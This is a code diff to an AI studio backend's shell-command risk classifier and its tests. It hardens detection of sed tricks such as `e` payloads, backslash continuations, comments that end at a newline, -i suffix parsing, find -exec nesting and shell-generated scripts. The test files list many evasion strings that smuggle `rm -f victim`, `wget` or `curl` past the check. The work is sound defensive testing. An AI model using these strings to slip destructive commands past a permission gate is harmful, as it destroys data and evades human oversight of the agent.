diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py index a6272d4af2..5abef5f8a8 100644 --- a/studio/backend/core/inference/tools.py +++ b/studio/backend/core/inference/tools.py @@ -274,6 +274,22 @@ _SED_COMMANDS = frozenset({"sed", "gsed", "ssed"}) # `s///` flags that may precede `e`. `w` is absent: it takes the rest of the # line as a filename, so the e in `s/a/b/w report.txt` is part of that name. _SED_SUBST_FLAGS = frozenset("0123456789gpiImMe") +# sed short options that consume text, so the rest of their token belongs to +# them and no later letter in the cluster is a flag: -e/-f take a script and +# -l a line length (attached or as the next token), while -i's backup suffix +# is ATTACHED ONLY. Reading the suffix as more flags hid the real script -- +# `-ifoo` looked like an attached `-f oo`, and `-l 5` ate the script as the +# length operand. +_SED_VALUE_FLAGS = "efl" +_SED_ATTACHED_VALUE_FLAGS = "i" +# A backslash in a sed text argument escapes the next character, newline +# included, so it is stripped before the payload is read as a shell command. +_SED_TEXT_ESCAPE_RE = re.compile(r"\\([\s\S])") +# A sed script always sits among the leading options or as the first positional; +# everything past that is input files. Bounding the walk keeps a command padded +# with hundreds of `-exec sed` words linear, since each one would otherwise +# rescan the whole token list. +_MAX_SED_ARG_SCAN = 128 _WIN_CONDITIONAL_KEYWORDS = frozenset({"exist", "defined", "errorlevel", "not"}) _FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"}) @@ -297,6 +313,36 @@ def _blocked_matching_glob(base: str) -> "set[str]": return {name for name in _BLOCKED_COMMANDS if fnmatch.fnmatchcase(name, base)} +def _sed_short_flag(token: str) -> "tuple[str, str] | None": + """The first value-taking short option in a sed flag cluster, as + ``(letter, text glued after it)``. The scan stops there because everything + left in the token is that option's value: `-ifoo` is -i with backup suffix + "foo", not an attached -f. ``None`` for a long option or a plain cluster.""" + if not token.startswith("-") or token.startswith("--"): + return None + for index, ch in enumerate(token[1:]): + if ch in _SED_VALUE_FLAGS or ch in _SED_ATTACHED_VALUE_FLAGS: + return ch, token[index + 2 :] + return None + + +def _sed_long_flag(name: str) -> str: + """Which value-taking sed long option ``--name`` is: "e" for --expression, + "f" for --file, "l" for --line-length, "" for anything else. getopt allows + unambiguous abbreviations, so --e/--ex/--expr are all --expression and --fi + upwards is --file (--f alone is ambiguous with --follow-symlinks, which sed + rejects). --in-place is absent: its suffix is attached, never a token.""" + if len(name) <= 2: + return "" + if "--expression".startswith(name): + return "e" + if len(name) > 3 and "--file".startswith(name): + return "f" + if "--line-length".startswith(name): + return "l" + return "" + + def _sed_program(tokens: "list[str]", start: int) -> str: """The sed script of the invocation whose command word sits at ``start``. @@ -309,8 +355,8 @@ def _sed_program(tokens: "list[str]", start: int) -> str: programs: "list[str]" = [] first_positional = "" has_program_flag = False - value_pending = "" # "e" or "f": the next token is that flag's value - for token in tokens[start + 1 :]: + value_pending = "" # "e", "f" or "l": the next token is that flag's value + for token in tokens[start + 1 : start + 1 + _MAX_SED_ARG_SCAN]: if token in _SHELL_SEPARATORS: break if value_pending: @@ -320,25 +366,27 @@ def _sed_program(tokens: "list[str]", start: int) -> str: continue if token.startswith("--"): name, sep, value = token.partition("=") - # getopt allows unambiguous abbreviations: --e/--ex/--expr are all - # --expression, and --fi upwards is --file (--f alone is ambiguous - # with --follow-symlinks, which sed rejects). - is_expression = len(name) > 2 and "--expression".startswith(name) - is_file = len(name) > 3 and "--file".startswith(name) - if is_expression or is_file: - has_program_flag = True - if not sep: - value_pending = "e" if is_expression else "f" - elif is_expression: - programs.append(value) + letter = _sed_long_flag(name) + if not letter: + continue + # -l only matters so its operand is not mistaken for the script. + has_program_flag = has_program_flag or letter in "ef" + if not sep: + value_pending = letter + elif letter == "e": + programs.append(value) continue if token.startswith("-"): # A cluster glues the value on (-ne'1p') or takes the next (-ne '1p'). - attached = _short_flag_arg(token, "ef") - if attached is None: + found = _sed_short_flag(token) + if found is None: continue - has_program_flag = True - letter = next(ch for ch in token[1:] if ch in "ef") + letter, attached = found + if letter in _SED_ATTACHED_VALUE_FLAGS: + # -i's suffix is the rest of the token; it never takes the next + # one, so the script is still the positional ahead. + continue + has_program_flag = has_program_flag or letter in "ef" if not attached: value_pending = letter elif letter == "e": @@ -351,6 +399,13 @@ def _sed_program(tokens: "list[str]", start: int) -> str: return "\n".join(programs) +def _sed_text(text: str) -> str: + """Unescape one sed text argument the way read_text does: every backslash + drops away and the character behind it stays, so `e touch MARK\\ER` runs + MARKER and `e\\` + newline runs the next line as its own command.""" + return _SED_TEXT_ESCAPE_RE.sub(r"\1", text).strip() + + def _sed_exec_payloads(program: str) -> "list[str]": """Shell payloads a sed program executes, in order. @@ -369,6 +424,14 @@ def _sed_exec_payloads(program: str) -> "list[str]": end = program.find("\n", pos) return n if end < 0 else end + def _end_of_text(pos: int) -> int: + # read_text, which collects `e`/`a`/`i`/`c` text: a backslash escapes + # the next character, so a line ending in one carries the text onto the + # NEXT line instead of stopping there. + while pos < n and program[pos] != "\n": + pos += 2 if program[pos] == "\\" else 1 + return min(pos, n) + def _skip_bracket(pos: int) -> int: # A bracket expression, where the delimiter is data (`s/[/]/x/` really # substitutes a slash). A leading `]` is literal; [:class:] nests. @@ -444,9 +507,11 @@ def _sed_exec_payloads(program: str) -> "list[str]": break cmd, i = program[i], i + 1 if cmd == "e": - # The payload ends at the NEWLINE, so a `;` inside it is shell text. - end = _end_of_line(i) - payloads.append(program[i:end].strip()) + # The payload ends at an UNESCAPED newline, so a `;` inside it is + # shell text and `e\` + newline hands the next line to the same + # shell (`1e\` / `rm -f victim` really runs rm). + end = _end_of_text(i) + payloads.append(_sed_text(program[i:end])) i = end elif cmd in "sy" and i < n: delim, i = program[i], i + 1 @@ -463,8 +528,7 @@ def _sed_exec_payloads(program: str) -> "list[str]": i = _end_of_line(i) elif cmd in "aic": # Literal text; the `a\` + newline form continues on a trailing "\". - while i < n and program[i] != "\n": - i += 2 if program[i] == "\\" else 1 + i = _end_of_text(i) elif cmd in "rRwW": i = _end_of_line(i) # the filename runs to the end of the line elif cmd in "btT:v": @@ -591,6 +655,11 @@ def _find_blocked_commands(command: str) -> set[str]: blocked |= _blocked_matching_glob(attached_base) if tok in _FIND_EXEC_FLAGS and i + 1 < len(tokens): base = _token_basename(tokens[i + 1]) + if base in _SED_COMMANDS: + # find runs its -exec child directly, but the walk above only + # reaches `find`, so a sed there never got its program screened + # (`find . -exec sed '1e rm -f victim' {} +`). + sed_indexes.append(i + 1) if base in _BLOCKED_COMMANDS: blocked.add(base) else: @@ -3784,6 +3853,103 @@ def _short_flag_arg(token: str, letters: str) -> "str | None": return None +def _shell_quote_states(command: str) -> "list[str]": + """The quote context of every character: ``""`` outside quoting, ``"'"`` + (or ``"$'"`` for ANSI-C, which honours backslash escapes) inside single + quoting, and ``'"'`` inside double quoting. A quote mark itself reports the + context it opens from, so a character is text bash expands exactly when its + state is ``""`` or ``'"'``. + + Tracked character by character rather than paired off with a regex, because + a regex matches the apostrophe in `echo "it's"` against the next quote, + inverting the state for everything after it. + """ + states: "list[str]" = [] + quote = "" + i, n = 0, len(command) + while i < n: + ch = command[i] + if quote in ("'", "$'"): + # A plain single quote protects even backslashes; ANSI-C does not, + # so `\'` there is a quote character rather than the end of the word. + if quote == "$'" and ch == "\\" and i + 1 < n: + states += [quote, quote] + i += 2 + continue + states.append(quote) + if ch == "'": + quote = "" + i += 1 + continue + if ch == "\\" and i + 1 < n: + states += [quote, quote] # the next character is data, never syntax + i += 2 + continue + states.append(quote) + if quote == '"': + # Only the closing quote ends it; an apostrophe here is text. + if ch == '"': + quote = "" + elif ch == "'": + quote = "$'" if i and command[i - 1] == "$" else "'" + elif ch == '"': + quote = '"' + i += 1 + return states + + +def _live_command_substitutions(command: str) -> "list[str]": + """Each `$(...)` / backtick substitution the shell actually RUNS, as the + exact text it occupies. Single-quoted ones are literal, so + `sed 's/`//g' NOTES.md` yields nothing. `$((` is arithmetic, not a + substitution, matching _HAS_COMMAND_SUBST_RE.""" + found: "list[str]" = [] + states = _shell_quote_states(command) + i, n = 0, len(command) + while i < n: + if states[i] not in ("", '"'): + i += 1 + continue + if command[i] == "`": + end = command.find("`", i + 1) + end = n if end < 0 else end + 1 + found.append(command[i:end]) + i = end + continue + if command.startswith("$(", i) and not command.startswith("$((", i): + depth, end = 0, i + 1 + while end < n: + if command[end] == "(": + depth += 1 + elif command[end] == ")": + depth -= 1 + if depth == 0: + end += 1 + break + end += 1 + found.append(command[i:end]) + i = end + continue + i += 1 + return found + + +def _separate_unquoted_newlines(text: str) -> str: + """``text`` with each UNQUOTED newline replaced by `;`, which shlex reads as + a command boundary. A newline inside quotes is DATA -- a sed comment ends at + one -- so it survives, unlike a blanket replacement.""" + states = _shell_quote_states(text) + out = [] + for i, ch in enumerate(text): + if ch in "\r\n" and states[i] == "": + # \r\n is one boundary, not two. + if not (ch == "\n" and i and text[i - 1] == "\r"): + out.append(";") + else: + out.append(ch) + return "".join(out) + + # git subcommands that discard or overwrite work: `clean` deletes untracked files, # `restore` overwrites the worktree from the index/HEAD, `rm` deletes tracked # files, and the plumbing entries delete refs/reflogs/objects or rewrite history. @@ -4109,12 +4275,23 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: return True # Newlines separate commands in a shell but read as whitespace to shlex, and # ANSI-C quoting ($'rm') hides the real command name. - normalized = ( - _decode_ansi_c(command, keep_one_word = True) - .replace("\r\n", ";") - .replace("\n", ";") - .replace("\r", ";") + decoded = _decode_ansi_c(command, keep_one_word = True) + normalized = decoded.replace("\r\n", ";").replace("\n", ";").replace("\r", ";") + # Identical to the blanket form unless a newline is actually present, so the + # usual single-line command never pays for the quote walk. + quoted_newlines_kept = ( + _separate_unquoted_newlines(decoded) if "\n" in decoded or "\r" in decoded else normalized ) + # Matched against a sed program below to tell a script the shell generated + # from one that merely quotes a `$(`. Held in both newline forms so the + # match works whichever pass produced the tokens. + live_substitutions: "set[str]" = set() + if _HAS_COMMAND_SUBST_RE.search(command): + live_substitutions = { + form + for sub in _live_command_substitutions(command) + for form in (sub, sub.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")) + } # A verb hidden behind an assignment (c=rm; $c x) or a default parameter # (${c:-rm}) is expanded so the resolved token is scanned too. expanded = _expand_shell_assignments(_expand_param_defaults(normalized)) @@ -4138,7 +4315,15 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: # the check above misses it. A benign array print is untouched. if _ARRAY_EXPANSION_RE.search(command) and _VAR_EXECUTED_AS_COMMAND_RE.search(command): return True - for text in {normalized, expanded}: + # A newline inside a QUOTED argument is data, not a separator, and turning + # it into `;` rewrites that data: a sed comment ends at a real newline, so + # `sed '# notee CMD'` reads as one long comment once the newline is + # gone. So a pass that only separates the UNQUOTED ones is scanned too. It + # keeps every command boundary the blanket form has, so the token stream is + # the same and only quoted content differs: the pass adds detections without + # merging two commands into one segment. The set collapses to a single scan + # for the usual single-line command. + for text in {normalized, expanded, quoted_newlines_kept}: try: lexer = shlex.shlex(text, posix = True, punctuation_chars = ";&|()") lexer.whitespace_split = True @@ -4521,10 +4706,20 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: chdir_pending = True if base in _AWK_COMMANDS: awk_program_pending = True - if base in _SED_COMMANDS and _sed_exec_payloads(_sed_program(tokens, _tok_idx)): + if base in _SED_COMMANDS: # `e` / `s///e` shell out from inside the script, which may # ride on -e/--expression rather than the next positional. - return True + sed_program = _sed_program(tokens, _tok_idx) + if _sed_exec_payloads(sed_program): + return True + # A script the shell GENERATES is not knowable here: sed + # splices the output straight into the program text, where + # it can open `;e CMD` from any position, so it asks. The + # substitution has to land in the PROGRAM: one that only + # feeds file operands (sed -n 1p $(ls)) still runs, as does + # a `$(` the program merely quotes (sed 's/$(CC)/gcc/'). + if any(sub in sed_program for sub in live_substitutions): + return True elif current_command == "git" and not git_subcommand: # The first positional after `git` is its subcommand. git_subcommand = base diff --git a/studio/backend/tests/test_permission_mode.py b/studio/backend/tests/test_permission_mode.py index 2d489d0463..92a5e52fa1 100644 --- a/studio/backend/tests/test_permission_mode.py +++ b/studio/backend/tests/test_permission_mode.py @@ -929,6 +929,82 @@ def test_terminal_classifier(command, unsafe): ("sed -e '1a\\' -e 'echo appended' f", False), # a\ continues into -e ("echo \"sed '1e rm -f victim'\"", False), ("printf '%s' sed '1e rm -f victim'", False), + # --- prompt: an `e` payload ending in a backslash continues onto the + # NEXT line, which sed hands to the same shell --- + ("sed -n '1e\\\nrm -f victim' f", True), + ("sed -n '1e touch a\\\nrm -f victim' f", True), + ("sed 'e r\\m -f victim' f", True), # the backslash drops, rm still runs + ("sed -e 'e\\' -e 'rm -f victim' f", True), + # --- prompt: a sed comment ends at a real NEWLINE, not at a `;`, so an + # `e` on the line after one is a command, not comment text --- + ("sed '# harmless\ne rm -f victim' input", True), + ("sed '#c1\n#c2\ne rm -f victim' input", True), + ("sed 's/a/b/w out.txt\ne rm -f victim' input", True), # w name ends too + ("sed '1r notes.txt\ne rm -f victim' input", True), + ("sed '1a hello\ne rm -f victim' input", True), + ("sed '# harmless;e rm -f victim' input", False), # one long comment + ("sed '# harmless\np' input", False), + # --- prompt: everything glued to -i is the backup SUFFIX, so the script + # is still the positional ahead; likewise -l/--line-length take an + # operand that is not the script --- + ("sed -ifoo '1e rm -f victim' input", True), + ("sed -itemp '1e rm -f victim' input", True), + ("sed -ni.bak '1e rm -f victim' input", True), + ("sed -ieBAK -e 'e rm -f victim' input", True), + ("sed -l 5 '1e rm -f victim' input", True), + ("sed -l5 '1e rm -f victim' input", True), + ("sed -le 'e rm -f victim' input", True), + ("sed --line-length 5 '1e rm -f victim' input", True), + ("sed --l 5 '1e rm -f victim' input", True), + ("sed --in-place=foo '1e rm -f victim' input", True), + ("sed -i.bak 's/x/y/' f", False), + ("sed -ifoo 's/x/y/' f", False), + ("sed -l 80 's/x/y/' f", False), + ("sed --line-length=80 -n '1,20p' f", False), + # --- prompt: sed under find -exec / xargs runs for real --- + ("find . -exec sed '1e rm -f victim' {} +", True), + ("find . -execdir sed '1e rm -f victim' {} \\;", True), + ("xargs sed '1e rm -f victim'", True), + ("find . -exec sed -n '1,3p' {} +", False), + ("find . -exec sed -i.bak 's/a/b/' {} +", False), + # --- prompt: a program the SHELL generates is not knowable here, since + # sed splices the output into the script text --- + ("sed \"$(printf 'e rm -f victim')\" input", True), + ('sed "$(cat prog.sed)" input', True), + ('sed -n "1,$(wc -l < f)p" f', True), # bounded cost of failing closed + # a substitution outside the program, and a literal `$(`/backtick inside + # single quotes, are not a generated program + ("sed -n '1,3p' $(ls)", False), + ("sed 's/`//g' NOTES.md", False), + ("sed 's/$(x)/y/' f", False), + # an apostrophe inside a DOUBLE-quoted word must not be paired with the + # next quote: doing so hid a real generated program, and mis-read a + # single-quoted one as generated + ('echo "it\'s"; sed "$(printf \'e rm -f victim\')" f', True), + ('echo "it\'s"; sed "$(printf \'e rm -f x\')" f; echo "that\'s"', True), + ("echo \"don't\" && sed 's/$(x)/y/' f", False), + ("echo \"don't\" && sed 's/`//g' NOTES.md", False), + # `\'` inside ANSI-C quoting is a quote character, not the end of the + # word, so the tracker must not invert from there on + ("sed -e $'s/\\'\\'/X/' -e \"$(cat prog.sed)\" f", True), + # the substitution has to reach the PROGRAM: one that only builds file + # operands leaves a program the scan can still read in full + ("sed -i 's/$(CC)/gcc/' $(git ls-files '*.mk')", False), + ("sed 's/`//g' $(ls *.md)", False), + # --- run: a newline BETWEEN commands still separates them, so the + # segment-scoped checks must not read the next line's words as + # arguments of this one --- + ("git checkout main\nls", False), + ("git checkout main\nnpm test", False), + ("git checkout -b feature\ngit status", False), + ("git checkout v1.0\npython3 setup.py build", False), + ("export PATH=/usr/local/bin:$PATH\nmake", False), + ("IFS=,\nread a b c", False), + ("cd build\nmake -j4", False), + ("git checkout HEAD notes.txt\nls", True), # still a real pathspec + ('sed "s/$old/$new/g" f', False), + ('sed -n "1,${n}p" f', False), + ('sed -n "1,$((n + 1))p" f', False), # arithmetic, not a substitution # --- prompt: setpriv execs what follows, after changing privilege --- ("setpriv --nnp rm -f victim", True), ("setpriv --reuid=1000 rm -rf build", True), diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py index 8846efe851..7a4a1bd965 100644 --- a/studio/backend/tests/test_sandbox_tools.py +++ b/studio/backend/tests/test_sandbox_tools.py @@ -645,6 +645,43 @@ class TestBashBlocklistPosition: assert "rm" in self._find()("sed -ne '$e rm -rf build' input") assert "wget" in self._find()("sed '1,2e wget https://bad' input") + def test_sed_exec_payload_continues_past_backslash(self): + # An `e` payload whose line ends in a backslash carries onto the NEXT + # line, which reaches the same shell, so the scan must not stop at the + # newline. Quote splitting (r''m) hides the name from the raw-text + # fallback, leaving the parsed payload as the only place rm shows up. + assert "rm" in self._find()("sed -n '1e\\\nrm -f victim' f") + assert "rm" in self._find()("sed -n '1e\\\nr''m -f victim' f") + assert "rm" in self._find()("sed -n '1e touch a\\\nrm -f victim' f") + # A backslash before an ordinary character drops away: r\m runs rm. + assert "rm" in self._find()("sed 'e r\\m -f victim' f") + + def test_sed_comment_ends_at_newline(self): + # A sed comment runs to a real newline, so an `e` on the line after one + # is a command; with a literal `;` it is still all comment. + assert "rm" in self._find()("sed '# harmless\ne rm -f victim' input") + assert "curl" in self._find()("sed 's/a/b/w out.txt\ne curl https://x' input") + assert self._find()("sed '# harmless;e rm -f victim' input") == set() + + def test_sed_attached_i_suffix_does_not_hide_the_script(self): + # Everything glued to -i is the backup suffix, so `-ifoo` is not an + # attached -f and the script is still the positional ahead. -l and + # --line-length take an operand that is likewise not the script. + assert "rm" in self._find()("sed -ifoo '1e rm -f victim' input") + assert "rm" in self._find()("sed -itemp '1e rm -f victim' input") + assert "curl" in self._find()("sed -ni.bak '1e curl https://x' input") + assert "rm" in self._find()("sed -l 5 '1e rm -f victim' input") + assert "rm" in self._find()("sed --line-length 5 '1e rm -f victim' input") + assert self._find()("sed -ifoo 's/old/new/g' input") == set() + assert self._find()("sed -l 80 -n '1,20p' input") == set() + + def test_sed_under_find_exec_blocked(self): + # find runs its -exec child directly, but the command-position walk only + # reaches `find`, so the nested sed needs its script read explicitly. + assert "rm" in self._find()("find . -exec sed '1e rm -f victim' {} +") + assert "curl" in self._find()("find . -execdir sed '1e curl https://x' {} \\;") + assert self._find()("find . -exec sed -n '1,3p' {} +") == set() + def test_ordinary_sed_program_allowed(self): # Plain stream editing runs nothing, and a mention of sed in argument # position is text: only a command-position sed has its script read. @@ -652,6 +689,8 @@ class TestBashBlocklistPosition: assert self._find()("sed -n '1,20p' input") == set() assert self._find()("sed 's/rm/RM/g' input") == set() assert self._find()("printf '%s' sed '1e rm -rf victim'") == set() + assert self._find()("sed 's/a/b/we out.txt' input") == set() + assert self._find()("sed -e '1a\\' -e 'e rm -rf x' input") == set() def test_subshell_command_blocked(self): assert "rm" in self._find()("echo $(rm -rf /tmp)")